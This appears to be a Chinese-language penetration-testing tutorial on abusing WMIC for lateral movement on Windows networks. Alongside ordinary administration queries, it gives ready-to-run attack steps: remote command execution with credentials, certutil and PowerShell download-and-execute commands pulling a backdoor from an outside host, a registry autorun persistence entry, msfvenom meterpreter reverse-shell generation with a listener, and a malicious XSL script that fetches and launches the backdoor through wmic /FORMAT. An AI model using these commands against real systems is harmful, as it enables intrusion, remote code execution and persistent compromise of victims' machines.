WMIC擴展WMI(Windows Management Instrumentation,Windows管理工具),提供了從命令行接口和批命令腳本執行系統管理的支持。在WMIC出現之前,如果要管理WMI系統,必須使用一些專門的WMI應用,例如SMS,或者使用WMI的腳本編程API,或者使用象CIM Studio之類的工具。如果不熟悉C++之類的編程語言或VBScript之類的腳本語言,或者不掌握WMI名稱空間的基本知識,要用WMI管理系統是很困難的。WMIC改變了這種情況。
該組件默認集成於 Windows XP - Windows 10 全系列系統中,我們可以通過 WMI 實現數據的收集與管理,包括提供注冊、請求傳送、遠程管理、安全管理、查詢能力、和腳本編程能力等,其設計初衷之一是為了管理員能更加方便的對遠程 windows 主機進行各種日常管理,,在正常的管理員的眼里 wmic 確實是遠程管理的好幫手,但在滲透者眼中,它也同樣是一把在目標內網進行橫向滲透的趁手武器。
通用使用技巧
在使用WMIC命令之前,首先目標主機必須開啟 "Windows Management Instrumentation" 這個系統服務,但默認情況下這個服務是開啟狀態的,其次,目標主機的防火牆放行了 135 端口,這個端口是WMIC默認的管理端口,但是多數情況下內網主機都會開放這個端口,檢測是否開放端口有多種方式,如下:
C:\> nmap -p 135 192.168.1.30
C:\> telnet 192.168.1.30 135
C:\> wmic /node:192.168.1.10 /user:administrator /password:123123 PROCESS call create "calc.exe"
上方的幾種方式,都可以用於檢測 135端口是否開啟,如果上方可以正常訪問,那我們就可以繼續了,你也可以使用Python寫一個腳本,來爆破目標主機的密碼,替換上方的user,password字段內容。
1.利用 wmic 實現遠程下載后門。首先你需要自行搭建一台服務器,然后放置后門文件shell.exe,然后通過在遠程執行certutil命令完成下載后門,最后執行delete清理痕跡。
wmic /node:192.168.1.10 /user:administrator /password:123123 PROCESS call create "cmd /c certutil.exe -urlcache -split -f http://lyshark.com/shell.exe c:/shell.exe
& c:/shell.exe & certutil.exe -urlcache -split -f http://lyshark.com/shell.exe delete"
2.wmic命令可以調用PowerShell腳本,接着我們通過調用 IEX DownloadString 函數來遠程加載執行 powershell payload。
wmic /NODE:192.168.1.10/user:"administrator" /password:"123123" PROCESS call create "powershell -nop -exec bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://lyshark.com/shellcode.txt');\""
3.也可以獲取到系統的進程相關信息如下所示,當然你也可以指定節點,來實現查看遠程主機情況。
wmic process list full // 顯示所以進程
wmic process list brief // 摘要顯示進程
wmic process list status // 顯示進程狀態
wmic process where name="qq.exe" get executablepath // 獲取進程的絕對路徑
// 進程創建相關命令
wmic process call create QQ
wmic process call create "C:/Program Files/Tencent/QQ/QQ.exe"
wmic process call create "ifconfig"
// 進程的刪除
wmic process where name="qq.exe" call terminate
wmic process where processid="1214" delete
wmic process 1234 call terminate
4.獲取操作系統的關鍵數據,可執行以下命令。
wmic DISKDRIVE get deviceid,Caption,size,InterfaceType // 磁盤相關數據
wmic LOGICALDISK get name,Description,filesystem,size,freespace // 分區相關數據
wmic cpu get name,addresswidth,processorid // CPU相關數據
wmic BaseBoard get Manufacturer,Product,Version,SerialNumber // 主板相關數據
wmic csproduct get IdentifyingNumber // 獲取系統序列號
wmic SOUNDDEV get ProductName // 聲卡相關
5.服務相關命令
// 更改telnet服務啟動類型[Auto|Disabled|Manual]
wmic SERVICE where name="tlntsvr" set startmode="Auto"
wmic SERVICE where name="tlntsvr" call startservice // 運行telnet服務
wmic SERVICE where name="ShardAccess" call stopservice // 停止ICS服務
wmic SERVICE where name="lyshark" call delete // 刪除lyshark服務
6.目錄管理,與計划任務。
wmic FSDIR where "drive='c:' and filename='mk'" list // 列出c盤下名為mk的目錄
wmic fsdir "c://test" call delete // 刪除C:/test文件夾
wmic fsdir "c://test" rename "c:/abc" // 重命名文件
wmic fsdir where name='d://test' call copy "c://test" // 復制文件命令
wmic job call create "notepad.exe",0,0,true,false,********154800.000000+480
wmic job call create "explorer.exe",0,0,1,0,********154600.000000+480
7.針對注冊表的操作
wmic process call create "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v \"autorun\" /t REG_SZ /d \"C:\windows\autorun.exe\" /f"
通過Wmic反彈后門
Wmic命令不止可用於執行命令,該命令還能夠從本地或從遠程URL,調用XSL(可擴展樣式表語言)腳本,我們可以通過構建惡意的XSL腳本,從而完成上線。
1.首先使用MSF生成一個后門文件,然后運行偵聽。
[root@localhost html]# msfvenom -a x86 --platform Windows \
> -p windows/meterpreter/reverse_tcp \
> -b '\x00\x0b' lhost=192.168.1.30 lport=8888 -f exe > shell.exe
[root@localhost html]# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > show options
msf5 exploit(multi/handler) > set lhost 192.168.1.30
lhost => 192.168.1.7
msf5 exploit(multi/handler) > set lport 8888
lport => 8888
msf5 exploit(multi/handler) > exploit -j -z
[*] Started reverse TCP handler on 192.168.1.7:8888
2.接着我們創建一個xsl腳本文件,名稱就叫shell.xsl,該腳本通過certtil命令下載惡意后門,然后直接運行。
[root@localhost ~]# vim shell.xsl
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("certutil.exe -urlcache -split -f http://lyshark.com/shell.exe");
var r = new ActiveXObject("WScript.Shell").Run("shell.exe");
return nodelist.nextNode().xml;
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>
3.將后門文件和xsl腳本一並放入自己搭建的web服務器上。
[root@localhost ~]# ls -lh
-rw-r--r-- 1 root root 73K Aug 12 23:33 shell.exe
-rw-r--r-- 1 root root 642 Aug 12 23:36 shell.xsl
[root@localhost ~]# cp -a * /var/www/html/
[root@localhost ~]# systemctl restart httpd
4.然后在受害主機運行以下命令,即可實現反彈后門。
wmic os get /FORMAT:"http://lyshark.com/shell.xsl" & timeout /T 1 /NOBREAK & wmic os get /FORMAT:"http://lyshark.com/shell.xsl"